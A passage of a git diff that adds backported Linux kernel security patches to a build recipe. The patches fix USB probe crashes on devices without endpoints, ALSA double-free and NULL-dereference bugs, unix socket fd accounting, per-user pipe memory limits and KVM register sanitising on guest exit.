09:33:40 -0700 +Subject: Input: powermate - fix oops with malicious USB descriptors + +[ Upstream commit 9c6ba456711687b794dcf285856fc14e2c76074f ] + +The powermate driver expects at least one valid USB endpoint in its +probe function. If given malicious descriptors that specify 0 for +the number of endpoints, it will crash. Validate the number of +endpoints on the interface before using them. + +The full report for this issue can be found here: +http://seclists.org/bugtraq/2016/Mar/85 + +Reported-by: Ralf Spenneberg +Cc: stable +Signed-off-by: Josh Boyer +Signed-off-by: Dmitry Torokhov +Signed-off-by: Sasha Levin +--- + drivers/input/misc/powermate.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/input/misc/powermate.c b/drivers/input/misc/powermate.c +index 63b539d3dabae..84909a12ff36c 100644 +--- a/drivers/input/misc/powermate.c ++++ b/drivers/input/misc/powermate.c +@@ -307,6 +307,9 @@ static int powermate_probe(struct usb_interface *intf, const struct usb_device_i + int error = -ENOMEM; + + interface = intf->cur_altsetting; ++ if (interface->desc.bNumEndpoints < 1) ++ return -EINVAL; ++ + endpoint = &interface->endpoint[0].desc; + if (!usb_endpoint_is_int_in(endpoint)) + return -EIO; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0091-6b314d424e2f-Input gtco fix crash on detecting device without endpoints.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0091-6b314d424e2f-Input gtco fix crash on detecting device without endpoints.patch new file mode 100644 index 0000000..f971857 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0091-6b314d424e2f-Input gtco fix crash on detecting device without endpoints.patch @@ -0,0 +1,59 @@ +From 6b314d424e2fda751e4cc330f050ceac2c7edce8 Mon Sep 17 00:00:00 2001 +From: Vladis Dronov +Date: Thu, 31 Mar 2016 10:53:42 -0700 +Subject: Input: gtco - fix crash on detecting device without endpoints + +[ Upstream commit 162f98dea487206d9ab79fc12ed64700667a894d ] + +The gtco driver expects at least one valid endpoint. If given malicious +descriptors that specify 0 for the number of endpoints, it will crash in +the probe function. Ensure there is at least one endpoint on the interface +before using it. + +Also let's fix a minor coding style issue. + +The full correct report of this issue can be found in the public +Red Hat Bugzilla: + +https://bugzilla.redhat.com/show_bug.cgi?id=1283385 + +Reported-by: Ralf Spenneberg +Signed-off-by: Vladis Dronov +Cc: stable@vger.kernel.org +Signed-off-by: Dmitry Torokhov +Signed-off-by: Sasha Levin +--- + drivers/input/tablet/gtco.c | 10 +++++++++- + 1 file changed, 9 insertions(+), 1 deletion(-) + +diff --git a/drivers/input/tablet/gtco.c b/drivers/input/tablet/gtco.c +index 858045694e9d7..a51de543a0b2f 100644 +--- a/drivers/input/tablet/gtco.c ++++ b/drivers/input/tablet/gtco.c +@@ -868,6 +868,14 @@ static int gtco_probe(struct usb_interface *usbinterface, + goto err_free_buf; + } + ++ /* Sanity check that a device has an endpoint */ ++ if (usbinterface->altsetting[0].desc.bNumEndpoints < 1) { ++ dev_err(&usbinterface->dev, ++ "Invalid number of endpoints\n"); ++ error = -EINVAL; ++ goto err_free_urb; ++ } ++ + /* + * The endpoint is always altsetting 0, we know this since we know + * this device only has one interrupt endpoint +@@ -889,7 +897,7 @@ static int gtco_probe(struct usb_interface *usbinterface, + * HID report descriptor + */ + if (usb_get_extra_descriptor(usbinterface->cur_altsetting, +- HID_DEVICE_TYPE, &hid_desc) != 0){ ++ HID_DEVICE_TYPE, &hid_desc) != 0) { + dev_err(&usbinterface->dev, + "Can't retrieve exta USB descriptor to get hid report descriptor length\n"); + error = -EIO; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0092-b4dc014d417d-ALSA usbaudio avoid freeing umidi object twice.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0092-b4dc014d417d-ALSA usbaudio avoid freeing umidi object twice.patch new file mode 100644 index 0000000..57aad56 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0092-b4dc014d417d-ALSA usbaudio avoid freeing umidi object twice.patch @@ -0,0 +1,37 @@ +From b4dc014d417de972afd85248c8027380f1166317 Mon Sep 17 00:00:00 2001 +From: Andrey Konovalov +Date: Sat, 13 Feb 2016 11:08:06 +0300 +Subject: ALSA: usb-audio: avoid freeing umidi object twice + +[ Upstream commit 07d86ca93db7e5cdf4743564d98292042ec21af7 ] + +The 'umidi' object will be free'd on the error path by snd_usbmidi_free() +when tearing down the rawmidi interface. So we shouldn't try to free it +in snd_usbmidi_create() after having registered the rawmidi interface. + +Found by KASAN. + +Signed-off-by: Andrey Konovalov +Acked-by: Clemens Ladisch +Cc: +Signed-off-by: Takashi Iwai +Signed-off-by: Sasha Levin +--- + sound/usb/midi.c | 1 - + 1 file changed, 1 deletion(-) + +diff --git a/sound/usb/midi.c b/sound/usb/midi.c +index 5bfb695547f8..92ae88bdff7e 100644 +--- a/sound/usb/midi.c ++++ b/sound/usb/midi.c +@@ -2406,7 +2406,6 @@ int snd_usbmidi_create(struct snd_card *card, + else + err = snd_usbmidi_create_endpoints(umidi, endpoints); + if (err < 0) { +- snd_usbmidi_free(umidi); + return err; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0093.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0093.diff new file mode 100644 index 0000000..fc49c93 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0093.diff @@ -0,0 +1,16 @@ +diff --git a/drivers/net/wireless/bcmdhd/wl_android.c b/drivers/net/wireless/bcmdhd/wl_android.c +index c67c975..35fa6cb 100644 +--- a/drivers/net/wireless/bcmdhd/wl_android.c ++++ b/drivers/net/wireless/bcmdhd/wl_android.c +@@ -1288,6 +1288,11 @@ + goto exit; + } + ++ if (!capable(CAP_NET_ADMIN)) { ++ ret = -EPERM; ++ goto exit; ++ } ++ + #ifdef CONFIG_COMPAT + if (is_compat_task()) { + compat_android_wifi_priv_cmd compat_priv_cmd; diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0094-954e2ed41fec-ALSA seq Fix missing NULL check at removeevents ioctl.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0094-954e2ed41fec-ALSA seq Fix missing NULL check at removeevents ioctl.patch new file mode 100644 index 0000000..55fba04 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0094-954e2ed41fec-ALSA seq Fix missing NULL check at removeevents ioctl.patch @@ -0,0 +1,38 @@ +From 954e2ed41fec684048824230eb51bed0eae449ba Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Tue, 12 Jan 2016 12:38:02 +0100 +Subject: ALSA: seq: Fix missing NULL check at remove_events ioctl + +commit 030e2c78d3a91dd0d27fef37e91950dde333eba1 upstream. + +snd_seq_ioctl_remove_events() calls snd_seq_fifo_clear() +unconditionally even if there is no FIFO assigned, and this leads to +an Oops due to NULL dereference. The fix is just to add a proper NULL +check. + +Reported-by: Dmitry Vyukov +Tested-by: Dmitry Vyukov +Signed-off-by: Takashi Iwai +Cc: Mark Salyzyn +Cc: Dmitry Vyukov +Signed-off-by: Greg Kroah-Hartman +--- + sound/core/seq/seq_clientmgr.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/sound/core/seq/seq_clientmgr.c b/sound/core/seq/seq_clientmgr.c +index 41347ad1c4d5..a3988a4bcfd6 100644 +--- a/sound/core/seq/seq_clientmgr.c ++++ b/sound/core/seq/seq_clientmgr.c +@@ -1970,7 +1970,7 @@ static int snd_seq_ioctl_remove_events(struct snd_seq_client *client, + * No restrictions so for a user client we can clear + * the whole fifo + */ +- if (client->type == USER_CLIENT) ++ if (client->type == USER_CLIENT && client->data.user.fifo) + snd_seq_fifo_clear(client->data.user.fifo); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0095-73c0532426ba-ALSA timer Fix double unlink of activelist.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0095-73c0532426ba-ALSA timer Fix double unlink of activelist.patch new file mode 100644 index 0000000..3597676 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0095-73c0532426ba-ALSA timer Fix double unlink of activelist.patch @@ -0,0 +1,40 @@ +From 73c0532426ba7eb55f0015faebb1cad466a656e0 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Wed, 13 Jan 2016 21:35:06 +0100 +Subject: ALSA: timer: Fix double unlink of active_list + +[ Upstream commit ee8413b01045c74340aa13ad5bdf905de32be736 ] + +ALSA timer instance object has a couple of linked lists and they are +unlinked unconditionally at snd_timer_stop(). Meanwhile +snd_timer_interrupt() unlinks it, but it calls list_del() which leaves +the element list itself unchanged. This ends up with unlinking twice, +and it was caught by syzkaller fuzzer. + +The fix is to use list_del_init() variant properly there, too. + +Reported-by: Dmitry Vyukov +Tested-by: Dmitry Vyukov +Cc: +Signed-off-by: Takashi Iwai +Signed-off-by: Sasha Levin +--- + sound/core/timer.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/sound/core/timer.c b/sound/core/timer.c +index 9e8b709dbf3b..3b91162f7a94 100644 +--- a/sound/core/timer.c ++++ b/sound/core/timer.c +@@ -724,7 +724,7 @@ void snd_timer_interrupt(struct snd_timer * timer, unsigned long ticks_left) + } else { + ti->flags &= ~SNDRV_TIMER_IFLG_RUNNING; + if (--timer->running) +- list_del(&ti->active_list); ++ list_del_init(&ti->active_list); + } + if ((timer->hw.flags & SNDRV_TIMER_HW_TASKLET) || + (ti->flags & SNDRV_TIMER_IFLG_FAST)) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0096.diff b/recipes-kernel/linux/linux-sawfish/autopatcher/0096.diff new file mode 100644 index 0000000..a39a91b --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0096.diff @@ -0,0 +1,21 @@ +diff --git a/sound/core/hrtimer.c b/sound/core/hrtimer.c +index 886be7d..38514ed 100644 +--- a/sound/core/hrtimer.c ++++ b/sound/core/hrtimer.c +@@ -90,7 +90,7 @@ + struct snd_hrtimer *stime = t->private_data; + + atomic_set(&stime->running, 0); +- hrtimer_cancel(&stime->hrt); ++ hrtimer_try_to_cancel(&stime->hrt); + hrtimer_start(&stime->hrt, ns_to_ktime(t->sticks * resolution), + HRTIMER_MODE_REL); + atomic_set(&stime->running, 1); +@@ -101,6 +101,7 @@ + { + struct snd_hrtimer *stime = t->private_data; + atomic_set(&stime->running, 0); ++ hrtimer_try_to_cancel(&stime->hrt); + return 0; + } + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0097-3237836242f7-unix correctly track inflight fds in sending process userstruct.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0097-3237836242f7-unix correctly track inflight fds in sending process userstruct.patch new file mode 100644 index 0000000..1a51aba --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0097-3237836242f7-unix correctly track inflight fds in sending process userstruct.patch @@ -0,0 +1,161 @@ +From 3237836242f704e95c2e255620e1a12c98b55a2b Mon Sep 17 00:00:00 2001 +From: Hannes Frederic Sowa +Date: Wed, 3 Feb 2016 02:11:03 +0100 +Subject: unix: correctly track in-flight fds in sending process user_struct + +[ Upstream commit 415e3d3e90ce9e18727e8843ae343eda5a58fad6 ] + +The commit referenced in the Fixes tag incorrectly accounted the number +of in-flight fds over a unix domain socket to the original opener +of the file-descriptor. This allows another process to arbitrary +deplete the original file-openers resource limit for the maximum of +open files. Instead the sending processes and its struct cred should +be credited. + +To do so, we add a reference counted struct user_struct pointer to the +scm_fp_list and use it to account for the number of inflight unix fds. + +Fixes: 712f4aad406bb1 ("unix: properly account for FDs passed over unix sockets") +Reported-by: David Herrmann +Cc: David Herrmann +Cc: Willy Tarreau +Cc: Linus Torvalds +Suggested-by: Linus Torvalds +Signed-off-by: Hannes Frederic Sowa +Signed-off-by: David S. Miller +Signed-off-by: Sasha Levin +--- + include/net/af_unix.h | 4 ++-- + include/net/scm.h | 1 + + net/core/scm.c | 7 +++++++ + net/unix/af_unix.c | 4 ++-- + net/unix/garbage.c | 8 ++++---- + 5 files changed, 16 insertions(+), 8 deletions(-) + +diff --git a/include/net/af_unix.h b/include/net/af_unix.h +index e830c3dff61a1..7bb69c9c3c43d 100644 +--- a/include/net/af_unix.h ++++ b/include/net/af_unix.h +@@ -6,8 +6,8 @@ + #include + #include + +-void unix_inflight(struct file *fp); +-void unix_notinflight(struct file *fp); ++void unix_inflight(struct user_struct *user, struct file *fp); ++void unix_notinflight(struct user_struct *user, struct file *fp); + void unix_gc(void); + void wait_for_unix_gc(void); + struct sock *unix_get_socket(struct file *filp); +diff --git a/include/net/scm.h b/include/net/scm.h +index 262532d111f51..59fa93c01d2a1 100644 +--- a/include/net/scm.h ++++ b/include/net/scm.h +@@ -21,6 +21,7 @@ struct scm_creds { + struct scm_fp_list { + short count; + short max; ++ struct user_struct *user; + struct file *fp[SCM_MAX_FD]; + }; + +diff --git a/net/core/scm.c b/net/core/scm.c +index d30eb057fa7b8..cad57a1390ddd 100644 +--- a/net/core/scm.c ++++ b/net/core/scm.c +@@ -87,6 +87,7 @@ static int scm_fp_copy(struct cmsghdr *cmsg, struct scm_fp_list **fplp) + *fplp = fpl; + fpl->count = 0; + fpl->max = SCM_MAX_FD; ++ fpl->user = NULL; + } + fpp = &fpl->fp[fpl->count]; + +@@ -107,6 +108,10 @@ static int scm_fp_copy(struct cmsghdr *cmsg, struct scm_fp_list **fplp) + *fpp++ = file; + fpl->count++; + } ++ ++ if (!fpl->user) ++ fpl->user = get_uid(current_user()); ++ + return num; + } + +@@ -119,6 +124,7 @@ void __scm_destroy(struct scm_cookie *scm) + scm->fp = NULL; + for (i=fpl->count-1; i>=0; i--) + fput(fpl->fp[i]); ++ free_uid(fpl->user); + kfree(fpl); + } + } +@@ -337,6 +343,7 @@ struct scm_fp_list *scm_fp_dup(struct scm_fp_list *fpl) + for (i = 0; i < fpl->count; i++) + get_file(fpl->fp[i]); + new_fpl->max = new_fpl->count; ++ new_fpl->user = get_uid(fpl->user); + } + return new_fpl; + } +diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c +index 29b1f4dc48ca2..1bd4ba6b6aa4f 100644 +--- a/net/unix/af_unix.c ++++ b/net/unix/af_unix.c +@@ -1469,7 +1469,7 @@ static void unix_detach_fds(struct scm_cookie *scm, struct sk_buff *skb) + UNIXCB(skb).fp = NULL; + + for (i = scm->fp->count-1; i >= 0; i--) +- unix_notinflight(scm->fp->fp[i]); ++ unix_notinflight(scm->fp->user, scm->fp->fp[i]); + } + + static void unix_destruct_scm(struct sk_buff *skb) +@@ -1534,7 +1534,7 @@ static int unix_attach_fds(struct scm_cookie *scm, struct sk_buff *skb) + return -ENOMEM; + + for (i = scm->fp->count - 1; i >= 0; i--) +- unix_inflight(scm->fp->fp[i]); ++ unix_inflight(scm->fp->user, scm->fp->fp[i]); + return max_level; + } + +diff --git a/net/unix/garbage.c b/net/unix/garbage.c +index 58783dcfd35db..1105a60468ac2 100644 +--- a/net/unix/garbage.c ++++ b/net/unix/garbage.c +@@ -122,7 +122,7 @@ struct sock *unix_get_socket(struct file *filp) + * descriptor if it is for an AF_UNIX socket. + */ + +-void unix_inflight(struct file *fp) ++void unix_inflight(struct user_struct *user, struct file *fp) + { + struct sock *s = unix_get_socket(fp); + +@@ -139,11 +139,11 @@ void unix_inflight(struct file *fp) + } + unix_tot_inflight++; + } +- fp->f_cred->user->unix_inflight++; ++ user->unix_inflight++; + spin_unlock(&unix_gc_lock); + } + +-void unix_notinflight(struct file *fp) ++void unix_notinflight(struct user_struct *user, struct file *fp) + { + struct sock *s = unix_get_socket(fp); + +@@ -158,7 +158,7 @@ void unix_notinflight(struct file *fp) + list_del_init(&u->link); + unix_tot_inflight--; + } +- fp->f_cred->user->unix_inflight--; ++ user->unix_inflight--; + spin_unlock(&unix_gc_lock); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0098-01bba7b17a23-USB visor fix nullderef at probe.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0098-01bba7b17a23-USB visor fix nullderef at probe.patch new file mode 100644 index 0000000..d825ee4 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0098-01bba7b17a23-USB visor fix nullderef at probe.patch @@ -0,0 +1,41 @@ +From 01bba7b17a230e9c35239ded7ac942081e6f6b7c Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Tue, 12 Jan 2016 12:05:20 +0100 +Subject: USB: visor: fix null-deref at probe + +[ Upstream commit cac9b50b0d75a1d50d6c056ff65c005f3224c8e0 ] + +Fix null-pointer dereference at probe should a (malicious) Treo device +lack the expected endpoints. + +Specifically, the Treo port-setup hack was dereferencing the bulk-in and +interrupt-in urbs without first making sure they had been allocated by +core. + +Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2") +Cc: stable +Signed-off-by: Johan Hovold +Signed-off-by: Sasha Levin +--- + drivers/usb/serial/visor.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/drivers/usb/serial/visor.c b/drivers/usb/serial/visor.c +index 60afb39eb73c..c53fbb3e0b8c 100644 +--- a/drivers/usb/serial/visor.c ++++ b/drivers/usb/serial/visor.c +@@ -544,6 +544,11 @@ static int treo_attach(struct usb_serial *serial) + (serial->num_interrupt_in == 0)) + return 0; + ++ if (serial->num_bulk_in < 2 || serial->num_interrupt_in < 2) { ++ dev_err(&serial->interface->dev, "missing endpoints\n"); ++ return -ENODEV; ++ } ++ + /* + * It appears that Treos and Kyoceras want to use the + * 1st bulk in endpoint to communicate with the 2nd bulk out endpoint, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0099-be65d29ff7b6-pipe limit the peruser amount of pages allocated in pipes.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0099-be65d29ff7b6-pipe limit the peruser amount of pages allocated in pipes.patch new file mode 100644 index 0000000..f028585 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0099-be65d29ff7b6-pipe limit the peruser amount of pages allocated in pipes.patch @@ -0,0 +1,253 @@ +From be65d29ff7b6246afa8309063cc77ba030d98d17 Mon Sep 17 00:00:00 2001 +From: Willy Tarreau +Date: Mon, 18 Jan 2016 16:36:09 +0100 +Subject: pipe: limit the per-user amount of pages allocated in pipes + +[ Upstream commit 759c01142a5d0f364a462346168a56de28a80f52 ] + +On no-so-small systems, it is possible for a single process to cause an +OOM condition by filling large pipes with data that are never read. A +typical process filling 4000 pipes with 1 MB of data will use 4 GB of +memory. On small systems it may be tricky to set the pipe max size to +prevent this from happening. + +This patch makes it possible to enforce a per-user soft limit above +which new pipes will be limited to a single page, effectively limiting +them to 4 kB each, as well as a hard limit above which no new pipes may +be created for this user. This has the effect of protecting the system +against memory abuse without hurting other users, and still allowing +pipes to work correctly though with less data at once. + +The limit are controlled by two new sysctls : pipe-user-pages-soft, and +pipe-user-pages-hard. Both may be disabled by setting them to zero. The +default soft limit allows the default number of FDs per process (1024) +to create pipes of the default size (64kB), thus reaching a limit of 64MB +before starting to create only smaller pipes. With 256 processes limited +to 1024 FDs each, this results in 1024*64kB + (256*1024 - 1024) * 4kB = +1084 MB of memory allocated for a user. The hard limit is disabled by +default to avoid breaking existing applications that make intensive use +of pipes (eg: for splicing). + +Reported-by: socketpair@gmail.com +Reported-by: Tetsuo Handa +Mitigates: CVE-2013-4312 (Linux 2.0+) +Suggested-by: Linus Torvalds +Signed-off-by: Willy Tarreau +Signed-off-by: Al Viro +Signed-off-by: Sasha Levin +--- + Documentation/sysctl/fs.txt | 23 ++++++++++++++++++++++ + fs/pipe.c | 47 +++++++++++++++++++++++++++++++++++++++++++-- + include/linux/pipe_fs_i.h | 4 ++++ + include/linux/sched.h | 1 + + kernel/sysctl.c | 14 ++++++++++++++ + 5 files changed, 87 insertions(+), 2 deletions(-) + +diff --git a/Documentation/sysctl/fs.txt b/Documentation/sysctl/fs.txt +index 88152f214f48..302b5ed616a6 100644 +--- a/Documentation/sysctl/fs.txt ++++ b/Documentation/sysctl/fs.txt +@@ -32,6 +32,8 @@ Currently, these files are in /proc/sys/fs: + - nr_open + - overflowuid + - overflowgid ++- pipe-user-pages-hard ++- pipe-user-pages-soft + - protected_hardlinks + - protected_symlinks + - suid_dumpable +@@ -159,6 +161,27 @@ The default is 65534. + + ============================================================== + ++pipe-user-pages-hard: ++ ++Maximum total number of pages a non-privileged user may allocate for pipes. ++Once this limit is reached, no new pipes may be allocated until usage goes ++below the limit again. When set to 0, no limit is applied, which is the default ++setting. ++ ++============================================================== ++ ++pipe-user-pages-soft: ++ ++Maximum total number of pages a non-privileged user may allocate for pipes ++before the pipe size gets limited to a single page. Once this limit is reached, ++new pipes will be limited to a single page in size for this user in order to ++limit total memory usage, and trying to increase them using fcntl() will be ++denied until usage goes below the limit again. The default value allows to ++allocate up to 1024 pipes at their default size. When set to 0, no limit is ++applied. ++ ++============================================================== ++ + protected_hardlinks: + + A long-standing class of security issues is the hardlink-based +diff --git a/fs/pipe.c b/fs/pipe.c +index 21981e58e2a6..e3ba6c3a1743 100644 +--- a/fs/pipe.c ++++ b/fs/pipe.c +@@ -39,6 +39,12 @@ unsigned int pipe_max_size = 1048576; + */ + unsigned int pipe_min_size = PAGE_SIZE; + ++/* Maximum allocatable pages per user. Hard limit is unset by default, soft ++ * matches default values. ++ */ ++unsigned long pipe_user_pages_hard; ++unsigned long pipe_user_pages_soft = PIPE_DEF_BUFFERS * INR_OPEN_CUR; ++ + /* + * We use a start+len construction, which provides full use of the + * allocated memory. +@@ -585,20 +591,49 @@ pipe_fasync(int fd, struct file *filp, int on) + return retval; + } + ++static void account_pipe_buffers(struct pipe_inode_info *pipe, ++ unsigned long old, unsigned long new) ++{ ++ atomic_long_add(new - old, &pipe->user->pipe_bufs); ++} ++ ++static bool too_many_pipe_buffers_soft(struct user_struct *user) ++{ ++ return pipe_user_pages_soft && ++ atomic_long_read(&user->pipe_bufs) >= pipe_user_pages_soft; ++} ++ ++static bool too_many_pipe_buffers_hard(struct user_struct *user) ++{ ++ return pipe_user_pages_hard && ++ atomic_long_read(&user->pipe_bufs) >= pipe_user_pages_hard; ++} ++ + struct pipe_inode_info *alloc_pipe_info(void) + { + struct pipe_inode_info *pipe; + + pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL); + if (pipe) { +- pipe->bufs = kzalloc(sizeof(struct pipe_buffer) * PIPE_DEF_BUFFERS, GFP_KERNEL); ++ unsigned long pipe_bufs = PIPE_DEF_BUFFERS; ++ struct user_struct *user = get_current_user(); ++ ++ if (!too_many_pipe_buffers_hard(user)) { ++ if (too_many_pipe_buffers_soft(user)) ++ pipe_bufs = 1; ++ pipe->bufs = kzalloc(sizeof(struct pipe_buffer) * pipe_bufs, GFP_KERNEL); ++ } ++ + if (pipe->bufs) { + init_waitqueue_head(&pipe->wait); + pipe->r_counter = pipe->w_counter = 1; +- pipe->buffers = PIPE_DEF_BUFFERS; ++ pipe->buffers = pipe_bufs; ++ pipe->user = user; ++ account_pipe_buffers(pipe, 0, pipe_bufs); + mutex_init(&pipe->mutex); + return pipe; + } ++ free_uid(user); + kfree(pipe); + } + +@@ -609,6 +644,8 @@ void free_pipe_info(struct pipe_inode_info *pipe) + { + int i; + ++ account_pipe_buffers(pipe, pipe->buffers, 0); ++ free_uid(pipe->user); + for (i = 0; i < pipe->buffers; i++) { + struct pipe_buffer *buf = pipe->bufs + i; + if (buf->ops) +@@ -999,6 +1036,7 @@ static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long nr_pages) + memcpy(bufs + head, pipe->bufs, tail * sizeof(struct pipe_buffer)); + } + ++ account_pipe_buffers(pipe, pipe->buffers, nr_pages); + pipe->curbuf = 0; + kfree(pipe->bufs); + pipe->bufs = bufs; +@@ -1070,6 +1108,11 @@ long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg) + if (!capable(CAP_SYS_RESOURCE) && size > pipe_max_size) { + ret = -EPERM; + goto out; ++ } else if ((too_many_pipe_buffers_hard(pipe->user) || ++ too_many_pipe_buffers_soft(pipe->user)) && ++ !capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN)) { ++ ret = -EPERM; ++ goto out; + } + ret = pipe_set_size(pipe, nr_pages); + break; +diff --git a/include/linux/pipe_fs_i.h b/include/linux/pipe_fs_i.h +index eb8b8ac6df3c..24f5470d3944 100644 +--- a/include/linux/pipe_fs_i.h ++++ b/include/linux/pipe_fs_i.h +@@ -42,6 +42,7 @@ struct pipe_buffer { + * @fasync_readers: reader side fasync + * @fasync_writers: writer side fasync + * @bufs: the circular array of pipe buffers ++ * @user: the user who created this pipe + **/ + struct pipe_inode_info { + struct mutex mutex; +@@ -57,6 +58,7 @@ struct pipe_inode_info { + struct fasync_struct *fasync_readers; + struct fasync_struct *fasync_writers; + struct pipe_buffer *bufs; ++ struct user_struct *user; + }; + + /* +@@ -123,6 +125,8 @@ void pipe_unlock(struct pipe_inode_info *); + void pipe_double_lock(struct pipe_inode_info *, struct pipe_inode_info *); + + extern unsigned int pipe_max_size, pipe_min_size; ++extern unsigned long pipe_user_pages_hard; ++extern unsigned long pipe_user_pages_soft; + int pipe_proc_fn(struct ctl_table *, int, void __user *, size_t *, loff_t *); + + +diff --git a/include/linux/sched.h b/include/linux/sched.h +index 2a0bcc8411dc..ebfd7a5ea6d4 100644 +--- a/include/linux/sched.h ++++ b/include/linux/sched.h +@@ -759,6 +759,7 @@ struct user_struct { + #endif + unsigned long locked_shm; /* How many pages of mlocked shm ? */ + unsigned long unix_inflight; /* How many files in flight in unix sockets */ ++ atomic_long_t pipe_bufs; /* how many pages are allocated in pipe buffers */ + + #ifdef CONFIG_KEYS + struct key *uid_keyring; /* UID specific keyring */ +diff --git a/kernel/sysctl.c b/kernel/sysctl.c +index cd0e835ecb85..07da431802e4 100644 +--- a/kernel/sysctl.c ++++ b/kernel/sysctl.c +@@ -1656,6 +1656,20 @@ static struct ctl_table fs_table[] = { + .proc_handler = &pipe_proc_fn, + .extra1 = &pipe_min_size, + }, ++ { ++ .procname = "pipe-user-pages-hard", ++ .data = &pipe_user_pages_hard, ++ .maxlen = sizeof(pipe_user_pages_hard), ++ .mode = 0644, ++ .proc_handler = proc_doulongvec_minmax, ++ }, ++ { ++ .procname = "pipe-user-pages-soft", ++ .data = &pipe_user_pages_soft, ++ .maxlen = sizeof(pipe_user_pages_soft), ++ .mode = 0644, ++ .proc_handler = proc_doulongvec_minmax, ++ }, + { } + }; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0100-c518a1b39eda-KVM PPC Book3S HV Sanitize specialpurpose register values on.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0100-c518a1b39eda-KVM PPC Book3S HV Sanitize specialpurpose register values on.patch new file mode 100644 index 0000000..7aaa612 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0100-c518a1b39eda-KVM PPC Book3S HV Sanitize specialpurpose register values on.patch @@ -0,0 +1,57 @@ +From c518a1b39eda7356aebfd514cd8164ed909d995f Mon Sep 17 00:00:00 2001 +From: Paul Mackerras +Date: Sat, 5 Mar 2016 19:34:39 +1100 +Subject: KVM: PPC: Book3S HV: Sanitize special-purpose register values on + guest exit + +[ Upstream commit ccec44563b18a0ce90e2d4f332784b3cb25c8e9c ] + +Thomas Huth discovered that a guest could cause a hard hang of a +host CPU by setting the Instruction Authority Mask Register (IAMR) +to a suitable value. It turns out that this is because when the +code was added to context-switch the new special-purpose registers +(SPRs) that were added in POWER8, we forgot to add code to ensure +that they were restored to a sane value on guest exit. + +This adds code to set those registers where a bad value could +compromise the execution of the host kernel to a suitable neutral +value on guest exit. + +Cc: stable@vger.kernel.org # v3.14+ +Fixes: b005255e12a3 +Reported-by: Thomas Huth +Reviewed-by: David Gibson +Signed-off-by: Paul Mackerras +Signed-off-by: Sasha Levin +--- + arch/powerpc/kvm/book3s_hv_rmhandlers.S | 14 ++++++++++++++ + 1 file changed, 14 insertions(+) + +diff --git a/arch/powerpc/kvm/book3s_hv_rmhandlers.S b/arch/powerpc/kvm/book3s_hv_rmhandlers.S +index 3e9d73f587188..4329ea3166839 100644 +--- a/arch/powerpc/kvm/book3s_hv_rmhandlers.S ++++ b/arch/powerpc/kvm/book3s_hv_rmhandlers.S +@@ -1284,6 +1284,20 @@ END_FTR_SECTION_IFCLR(CPU_FTR_ARCH_207S) + std r6, VCPU_ACOP(r9) + stw r7, VCPU_GUEST_PID(r9) + std r8, VCPU_WORT(r9) ++ /* ++ * Restore various registers to 0, where non-zero values ++ * set by the guest could disrupt the host. ++ */ ++ li r0, 0 ++ mtspr SPRN_IAMR, r0 ++ mtspr SPRN_CIABR, r0 ++ mtspr SPRN_DAWRX, r0 ++ mtspr SPRN_TCSCR, r0 ++ mtspr SPRN_WORT, r0 ++ /* Set MMCRS to 1<<31 to freeze and disable the SPMC counters */ ++ li r0, 1 ++ sldi r0, r0, 31 ++ mtspr SPRN_MMCRS, r0 + 8: + + /* Save and reset AMR and UAMOR before turning on the MMU */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-sawfish/autopatcher/0101-e8f463941497-USB mctu232 add sanity checking in probe.patch b/recipes-kernel/linux/linux-sawfish/autopatcher/0101-e8f463941497-USB mctu232 add sanity checking in probe.patch new file mode 100644 index 0000000..299bb04 --- /dev/null +++ b/recipes-kernel/linux/linux-sawfish/autopatcher/0101-e8f463941497-USB mctu232 add sanity checking in probe.patch @@ -0,0 +1,52 